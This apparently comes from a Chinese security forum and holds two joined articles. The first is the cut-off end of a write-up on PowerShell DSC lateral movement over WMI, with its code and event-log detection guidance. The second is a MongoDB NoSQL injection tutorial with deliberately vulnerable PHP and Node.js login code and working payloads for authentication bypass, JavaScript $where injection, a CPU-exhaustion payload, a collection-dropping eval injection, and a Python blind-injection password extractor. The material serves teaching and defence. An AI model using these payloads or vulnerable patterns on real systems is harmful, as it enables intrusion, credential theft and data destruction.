# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = 'PSDesiredStateConfiguration'
ResourceType = 'MSFT_ScriptResource'
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
ClassName = 'MSFT_DSCLocalConfigurationManager'
MethodName = 'ResourceTest'
Arguments = $MethodArgs
CimSession = $RemoteCIMSession
}
# Invoke the DSC script resource Test method
# Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
Invoke-CimMethod @Arguments
} else {
Write-Warning 'The DSC lateral movement method is not available on the remote system.'
}
在上述例子中，请注意我在执行之前首先验证了远程类以及方法是否存在。在使用WMI技术时，我建议大家在最终执行之前首先验证目标类和方法是否存在。
以上就是主要内容。我刻意介绍了个大概，在其他内容或者具体操作方面给大家留下较大空间。在这个例子中，载荷执行结果会在本地落盘。如果我们想通过WMI远程获取文件内容，可以参考[此处](https://twitter.com/mattifestation/status/899475316929736704)介绍的方法。此外，在上述例子中，我使用了PSv3中才引入的CMI
cmdlets，如果想兼容v2，大家也可以改造代码以适配老版WMI cmdlets。
## 四、发现过程
我是在学习DSC的基础知识时偶然发现了这种技术。我在网上找到了一篇[文章](https://blogs.msdn.microsoft.com/powershell/2015/02/27/invoking-powershell-dsc-resources-directly/)，文中讨论了如何使用WMI来直接调用DSC资源。我对WMI有所了解，因此这篇文章一下子引燃了我对这方面内容的兴趣。该文章演示了如何调用内置的文件资源，因此我只需要澄清如何调整细节，以便适用于脚本资源即可。
## 五、检测方法
幸运的是，如果我们能够获取事件日志，那么就有很多机会可以检测到这类技术。
### Microsoft-Windows-PowerShell/Operational事件日志
53504事件
PowerShell Named Pipe IPC事件将告诉我们已启动的PowerShell
AppDomain的名称。当DSC执行脚本资源时，该事件会自动捕捉DscPsPluginWkr_AppDomain
AppDomain，顾名思义，这是DSC执行所特有的名称。典型事件如下：
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.
4104事件
该事件与PowerShell
v5脚本块（ScriptBlock）日志有关。攻击者可以轻松规避ScriptBlock的自动日志机制，但如果启用了全局ScriptBlock日志，那么攻击者的载荷操作基本上都会被记录在案。ScriptBlock日志不仅会记录下执行的载荷，也会捕捉与执行内置脚本资源有关的帮助程序代码。
调用脚本资源时被捕捉到的一些ScriptBlock数据样例如下所示：
# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@
### Windows PowerShell事件日志
400事件
在典型的PowerShell日志中，ID为400的事件表明系统中启动了一个新的PowerShell宿主进程。当DSC脚本资源执行时，会生成独特的事件日志条目，我们可以轻松定位。典型例子如下：
Engine状态从None变为Available。
Details:
NewEngineState=Available
PreviousEngineState=None
SequenceNumber=13
HostName=Default Host
HostVersion=5.1.17134.81
HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
HostApplication=C:Windowssystem32wbemwmiprvse.exe
EngineVersion=5.1.17134.81
RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
PowerShell宿主进程在wmiprvse.exe上下文中启动（参考HostApplication字段），这可能是环境中（特别是工作站上）非常独特的一个特征。
### Microsoft-Windows-DSC/Operational事件日志
4102事件
该事件表明某个DSC资源被发送到某个表上。该事件可以为我们提供执行DSC资源的用户SID以及来源主机信息（如果主机位于域环境中）。典型事件如下所示：
Job {893F64B5-ABBF-11E8-B005-D336977413FC} :
Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
## 六、总结
我录制了一个[视频](https://youtu.be/FURl9oNjO5E)，演示了如何使用DSC进行横向渗透，以及如何仅依赖WMI来远程获取文件内容。
大家可以访问[此处](https://gist.github.com/mattifestation/89bfacc2435bd9d2f82a8205ea984d1d)下载演示代码，祝大家玩得开心。 | 社区文章 |
[toc]
## 什么是 Nosql
> NoSQL 即 Not Only SQL，意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动，早期就有人提出，发展至 2009
> 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储，相对于铺天盖地的关系型数据库运用，这一概念无疑是一种全新的思维的注入。
## 什么是 MongoDB
> MongoDB 是当前最流行的 NoSQL 数据库产品之一，由 C++ 语言编写，是一个基于分布式文件存储的数据库。旨在为 WEB
> 应用提供可扩展的高性能数据存储解决方案。
MongoDB 将数据存储为一个文档，数据结构由键值（key=>value）对组成。MongoDB 文档类似于 JSON
对象。字段值可以包含其他文档，数组及文档数组。
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 19,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
### MongoDB 基础概念解析
不管我们学习什么数据库都应该学习其中的基础概念，在 MongoDB 中基本的概念有文档、集合、数据库，如下表所示：
SQL 概念 | MongoDB 概念 | 说明
---|---|---
database | database | 数据库
table | collection | 数据库表/集合
row | document | 数据记录行/文档
column | field | 数据字段/域
index | index | 索引
table joins | | 表连接，MongoDB 不支持
primary key | primary key | 主键，MongoDB 自动将 `_id` 字段设置为主键
下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语：
RDBMS | MongoDB
---|---
数据库 | 数据库
表格 | 集合
行 | 文档
列 | 字段
表联合 | 嵌入文档
主键 | 主键（MongoDB 提供了 key 为 _id）
#### 数据库（Database）
个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库，每一个都有自己的集合和权限，不同的数据库也放置在不同的文件中。
使用 `show dbs` 命令可以显示所有数据库的列表：
$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> show dbs
admin 0.078GB
config 0.078GB
local 0.078GB
>
执行 `db` 命令可以显示当前数据库对象或集合：
$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> db
test
>
#### 文档（Document）
文档是一组键值（key-value）对，类似于 RDBMS 关系型数据库中的一行。MongoDB
的文档不需要设置相同的字段，并且相同的字段不需要相同的数据类型，这与关系型数据库有很大的区别，也是 MongoDB 非常突出的特点。
一个简单的文档例子如下：
{"name":"whoami", "age":19}
#### 集合（Collection）
集合就是 MongoDB 文档组，类似于 RDBMS
关系数据库管理系统中的表格。集合存在于数据库中，集合没有固定的结构，这意味着你在对集合可以插入不同格式和类型的数据。
比如，我们可以将以下不同数据结构的文档插入到集合中：
{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}
当插入一个文档时，集合就会被自动创建。
如果我们要查看已有集合，可以使用 `show collections` 或 `show tables` 命令：
> show collections
all_users
> show tables
all_users
>
### MongoDB 基础语法解析
#### MongoDB 创建数据库
MongoDB 创建数据库的语法格式如下：
use DATABASE_NAME
如果数据库不存在，则创建数据库，否则切连接并换到指定数据库，是不是很方便！
以下实例我们创建了数据库 love:
> use users
switched to db users
> db
users
>
#### MongoDB 创建集合
MongoDB 中我们使用 `createCollection()` 方法来创建集合。其语法格式如下：
db.createCollection(name, options)
参数说明：
* name：要创建的集合名称
* options：可选参数，指定有关内存大小及索引的选项
如下实例，我们在 users 数据库中创建一个 all_users 集合：
> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>
#### MongoDB 插入文档
在 MongoDB 中我们可以使用 `insert()` 方法向集合中插入文档，语法如下：
db.COLLECTION_NAME.insert(document)
如下实例，我们向存储在 users 数据库的 all_users 集合中插入一个文档：
> db.all_users.insert({name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
我们也可以将文档数据定义为一个变量，然后再执行插入操作将变量插入。
#### MongoDB 更新文档
在 MongoDB 中我们可以使用 `update()` 或 `save()` 方法来更新集合中的文档。
* **update() 方法**
update() 方法用于更新已存在的文档。语法格式如下：
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
参数说明：
* query：update 操作的查询条件，类似 sql update 语句中 where 子句后面的内容。
* update：update 操作的对象和一些更新的操作符（如 `$set`）等，可以理解为 sql update 语句中 set 关键字后面的内容。
* multi：可选，默认是 false，只更新找到的第一条记录，如果这个参数为 true，就把按条件查出来多条记录全部更新。
接着我们通过 update() 方法来将年龄 age 从 19 更新到 20：
> db.lover.update({'age':19}, {$set:{'age':20}})
WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0 })
>
> db.all_users.find().pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
成功将 age 从 19 改为了 20。
以上语句只会修改第一条发现的文档，如果你要修改多条相同的文档，则需要设置 multi 参数为 true。
> db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
* **save() 方法**
save() 方法通过传入的文档来替换已有文档，`_id` 主键存在就更新，不存在就插入。语法格式如下：
db.collection.save(
<document>,
{
writeConcern: <document>
}
)
参数说明：
* document：文档数据。
如下实例中我们替换了 `_id` 为 60fa854cf8aaaf4f21049148 的文档数据：
> db.all_users.save({
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 21,
"status" : "A",
"groups" : [
"admins",
"users"
]
})
#### MongoDB 查询文档
在 MongoDB 中我们可以使用 `find()` 方法来查询文档。`find()` 方法以非结构化的方式来显示所有文档。其语法格式如下：
db.collection.find(query, projection)
参数说明：
* query：可选，使用查询操作符指定查询条件，相当于 sql select 语句中的 where 子句。
* projection：可选，使用投影操作符指定返回的键。
如下实例我们查询了集合 all_users 中的 age 为 20 的数据：
> db.all_users.find({"age":"20"})
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : "20", "status" : "A", "groups" : [ "admins", "users" ] }
>
如果你需要以易读的方式来读取数据，可以使用 `pretty()` 方法以格式化的方式来显示所有文档：
> db.all_users.find({"age":20}).pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
#### MongoDB 与 RDBMS Where 语句的比较
如果你熟悉常规的 SQL 数据，通过下表可以更好的理解 MongoDB 的条件语句查询：
操作 | 格式 | 范例 | RDBMS 中的类似语句
---|---|---|---
等于 | `{<key>:<value>}` | `db.love.find({"name":"whoami"}).pretty()` | `where
name = 'whoami'`
小于 | `{<key>:{$lt:<value>}}` | `db.love.find({"age":{$lt:19}}).pretty()` |
`where age < 19`
小于或等于 | `{<key>:{$lte:<value>}}` | `db.love.find({"age":{$lte:19}}).pretty()`
| `where likes <= 19`
大于 | `{<key>:{$gt:<value>}}` | `db.love.find({"age":{$gt:19}}).pretty()` |
`where likes > 19`
大于或等于 | `{<key>:{$gte:<value>}}` | `db.love.find({"age":{$gte:19}}).pretty()`
| `where likes >= 19`
不等于 | `{<key>:{$ne:<value>}}` | `db.love.find({"age":{$ne:19}}).pretty()` |
`where likes != 19`
#### MongoDB AND 条件
MongoDB 中的 `find()` 方法可以传入多个键值对，每个键值对以逗号隔开，即常规 SQL 的 AND 条件。语法格式如下：
> db.all_users.find({"status":"B", "age":20})
{ "_id" : ObjectId("60fa8ef8f8aaaf4f2104914e"), "name" : "bob", "description" : "the normal user", "age" : 20, "status" : "B", "groups" : [ "normals", "users" ] }
>
以上实例中类似于 RDBMS 中的 WHERE 语句：`WHERE status='B' AND age=20`
#### MongoDB OR 条件
MongoDB OR 条件语句使用了关键字 `$or` 来表示，语法格式如下：
> db.col.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty()
如下实例，我们查询键 `status` 值为 A 或键 `age` 值为 19 的文档。
> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }
>
#### AND 和 OR 联合使用
以下实例演示了 AND 和 OR 联合使用，类似于 RDBMS 中的 WHERE 语句： `where age>19 AND (name='whoami'
OR status='A')`
> db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
{ "_id" : ObjectId("60fa9176f8aaaf4f21049150"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
>
## Nosql 注入的简介
NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL
注入有所区别。使用传统的SQL注入，攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句（或其他SQL语句）。
换句话说，SQL 注入使攻击者可以在数据库中 SQL 执行命令。
与关系数据库不同，NoSQL 数据库不使用通用查询语言。NoSQL
查询语法是特定于产品的，查询是使用应用程序的编程语言编写的：PHP，JavaScript，Python，Java
等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令，而且可以在应用程序本身中执行命令，这可能更加危险。
以下是 OWASP 对于 Nosql 注入的介绍：
> NoSQL databases provide looser consistency restrictions than traditional SQL
> databases. By requiring fewer relational constraints and consistency checks,
> NoSQL databases often offer performance and scaling benefits. Yet these
> databases are still potentially vulnerable to injection attacks, even if
> they aren’t using the traditional SQL syntax. Because these NoSQL injection
> attacks may execute within a [procedural
> language](https://en.wikipedia.org/wiki/Procedural_programming), rather than
> in the [declarative SQL
> language](https://en.wikipedia.org/wiki/Declarative_programming), the
> potential impacts are greater than traditional SQL injection.
>
> NoSQL database calls are written in the application’s programming language,
> a custom API call, or formatted according to a common convention (such as
> `XML`, `JSON`, `LINQ`, etc). Malicious input targeting those specifications
> may not trigger the primarily application sanitization checks. For example,
> filtering out common HTML special characters such as `< > & ;` will not
> prevent attacks against a JSON API, where special characters include `/ { }
> :`.
## NoSQL 注入的分类
有两种 NoSQL 注入分类的方式：
第一种是按照语言的分类，可以分为：PHP 数组注入，JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类，可以分为：重言式注入，联合查询注入，JavaScript 注入、盲注等，这种分类方式很像传统 SQL 注入的分类方式。
* **重言式注入**
又称为永真式，此类攻击是在条件语句中注入代码，使生成的表达式判定结果永远为真，从而绕过认证或访问机制。
* **联合查询注入**
联合查询是一种众所周知的 SQL 注入技术，攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
* **JavaScript 注入**
MongoDB Server 支持 JavaScript，这使得在数据引擎进行复杂事务和查询成为可能，但是传递不干净的用户输入到这些查询中可以注入任意的
JavaScript 代码，导致非法的数据获取或篡改。
* **盲注**
当页面没有回显时，那么我们可以通过 `$regex` 正则表达式来达到和传统 SQL 注入中 `substr()` 函数相同的功能，而且 NoSQL
用到的基本上都是布尔盲注。
下面我们便通过 PHP 和 Nodejs 来讲解 MongoDB 注入的利用方式。
## PHP 中的 MongoDB 注入
**测试环境如下：**
* Ubuntu
* PHP 7.4.21
* MongoDB Server 4.4.7
在 PHP 中使用 MongoDB 你必须使用 MongoDB 的 PHP
驱动：<https://pecl.php.net/package/mongodb> 。这里我们使用新版的 PHP 驱动来操作 MongoDB。一下实例均以
POST 请求方式为例。
### 重言式注入
首先在 MongoDB 中选中 test 数据库，创建一个 users 集合并插入文档数据：
> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>
然后编写 index.php：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
如下，当正常用户想要登陆 whoami 用户时，POST 方法提交的数据如下：
username=whoami&password=657260
进入 PHP 后的程序数据如下：
array(
'username' => 'whoami',
'password' => '657260'
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':'whoami', 'password':'657260'})
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
我们从代码中可以看出，这里对用户输入没有做任何过滤与校验，那么我们可以通过 `$ne` 关键字构造一个永真的条件就可以完成 NoSQL 注入：
username[$ne]=1&password[$ne]=1
如下图所示，成功查出所有的用户信息，说明成功注入了一个永真查询条件：
提交的数据进入 PHP 后的数据如下：
array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
由于 users 集合中 username 和 password 都不等于 1，所以将所有的文档数据查出，这很可能是真实的，并且可能允许攻击者绕过身份验证。
对于 PHP 本身的特性而言，由于其松散的数组特性，导致如果我们发送 `value=1` 那么，也就是发送了一个 `value` 的值为 1
的数据。如果发送 `value[$ne]=1` 则 PHP 会将其转换为数组 `value=array($ne=>1)`，当数据到了进入 MongoDB
后，原来一个单一的 `{"value":1}` 查询就变成了一个 `{"value":{$ne:1}` 条件查询。同样的，我们也可以使用下面这些作为
payload 进行攻击：
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。
### 联合查询注入
在 MongoDB 之类的流行数据存储中，JSON 查询结构使得联合查询注入攻击变得比较复杂了，但也是可以实现的。
我们都知道，直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入，NoSQL 也有类似问题。如下实例，假设后端的 MongoDB
查询语句使用了字符串拼接：
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
当用户正确的用户名密码进行登录时，得到的查询语句是应该这样的：
{'username':'admin', 'password':'123456'}
如果此时没有很好地对用户的输入进行过滤或者效验，那攻击者便可以构造如下 payload：
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
拼接入查询语句后相当于执行了：
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
此时，只要用户名是正确的，这个查询就可以成功。这种手法和 SQL 注入比较相似：
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
这样，原本正常的查询语句会被转换为忽略密码的，在无需密码的情况下直接登录用户账号，因为 `()` 内的条件总是永真的。
但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query
对象了，因此这用注入方法简单了解一下就好了。
### JavaScript 注入
MongoDB Server 是支持 JavaScript 的，可以使用 JavaScript 进行一些复杂事务和查询，也允许在查询的时候执行
JavaScript 代码。但是如果传递不干净的用户输入到这些查询中，则可能会注入任意的 JavaScript 代码，导致非法的数据获取或篡改。
#### $where 操作符
首先我们需要了解一下 `$where` 操作符。在 MongoDB 中，`$where` 操作符可以用来执行 JavaScript 代码，将
JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前，通过 `$where` 操作符使用
`map-reduce`、`group` 命令甚至可以访问到 Mongo Shell 中的全局函数和属性，如
`db`，也就是说可以在自定义的函数里获取数据库的所有信息。
如下实例：
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 `$where` 关键字，其后面的 JavaScript 将会被执行并返回 "whoami"，然后将查询出 username 为 whoami
的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入，例如从变量中 `$userData` 获取查询条件：
db.users.find({ $where: "function(){return(this.username == $userData)}" })
然后，攻击者可能会注入一种恶意的字符串如 `'a'; sleep(5000)` ，此时 MongoDB 执行的查询语句为：
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })
如果此时服务器有 5 秒钟的延迟则说明注入成功。
下面我们编写 index.php 进行测试：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
* **MongoDB 2.4 之前**
在 MongoDB 2.4 之前，通过 `$where` 操作符使用 `map-reduce`、`group` 命令可以访问到 Mongo Shell
中的全局函数和属性，如 `db`，也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
如下所示，发送以下数据后，如果有回显的话将获取当前数据库下所有的集合名：
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
* **MongoDB 2.4 之后**
MongoDB 2.4 之后 `db` 属性访问不到了，但我们应然可以构造万能密码。如果此时我们发送以下这几种数据：
username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
如下图所示，成功查出所有的用户信息：
这是因为发送 payload 进入 PHP 后的数据如下：
array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
")
进入 MongoDB 后执行的查询命令为：
> db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
>
我们从代码中可以看出，password 中的 `return true` 使得整个 JavaScript 代码提前结束并返回了
`true`，这样就构造出了一个永真的条件并完成了 NoSQL 注入。
此外还有一个类似于 DOS 攻击的 payload，可以让服务器 CPU 飙升到 100% 持续 5 秒：
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
#### 使用 Command 方法造成的注入
MongoDB Driver 一般都提供直接执行 Shell 命令的方法，这些方式一般是不推荐使用的，但难免有人为了实现一些复杂的查询去使用。在
MongoDB 的服务器端可以通过 `db.eval` 方法来执行 JavaScript 脚本，如我们可以定义一个 JavaScript 函数，然后通过
`db.eval` 在服务器端来运行。
但是在 PHP 官网中就已经友情提醒了不要这样使用：
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>
还有人喜欢用 Command 去实现 MongoDB 的 `distinct` 方法，如下：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );
$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
这样都是很危险的，因为这个就相当于把 Mongo Shell 开放给了用户，如果此时构造下列 payload：
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高，我们能干的事情就更多了。
### 布尔盲注
当页面没有回显时，那么我们可以通过 `$regex` 正则表达式来进行盲注， `$regex` 可以达到和传统 SQL 注入中 `substr()`
函数相同的功能。
我们还是利用第一个 index.php 进行演示：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
布尔盲注重点在于怎么逐个提取字符，如下所示，在已知一个用户名的情况下判断密码的长度：
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......
在 `password[$regex]=.{6}` 时可以成功登录，但在 `password[$regex]=.{7}` 时登录失败，说明该 whoami
用户的密码长度为 7。
提交的数据进入 PHP 后的数据如下：
array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})
>
由于 whoami 用户的 password 长度为 6，所以查询条件 `{'username':'admin',
'password':{$regex:'.{6}'}}` 为真，便能成功登录，而 `{'username':'admin',
'password':{$regex:'.{7}'}}` 为假，自然也就登录不了。
知道 password 的长度之后我们便可以逐位提取 password 的字符了：
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
下面给出一个 MongoDB 盲注脚本：
import requests
import string
password = ''
url = 'http://192.168.226.148/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
# 输出如下:
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456
## Nodejs 中的 MongoDB 注入
在 Nodejs 中也存在 MongoDB 注入的问题，其中主要是重言式注入，通过构造永真式构造万能密码实现登录绕过。下面我们使用 Nodejs 中的
mongoose 模块操作 MongoDB 进行演示。
* server.js
var express = require('express');
var mongoose = require('mongoose');
var jade = require('jade');
var bodyParser = require('body-parser');
mongoose.connect('mongodb://localhost/test', { useNewUrlParser: true });
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();
app.set('views', __dirname);
app.set('view engine', 'jade');
app.get('/', function(req, res) {
res.render ("index.jade",{
message: 'Please Login'
});
});
app.use(bodyParser.json());
app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index.jade', {message: err.message});
}
if (!user) {
return res.render('index.jade', {message: 'Login Failed'});
}
return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
});
});
var server = app.listen(8000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("listening on http://%s:%s", host, port)
});
* index.jade
h1 #{message}
p #{message}
运行 server.js 后，访问 8000 端口：
由于后端解析 JSON，所以我们发送 JSON 格式的 payload：
{"username":{"$ne":1},"password": {"$ne":1}}
如上图所示，成功登录。
在处理 MongoDB 查询时，经常会使用 JSON格式将用户提交的数据发送到服务端，如果目标过滤了 `$ne` 等关键字，我们可以使用 Unicode
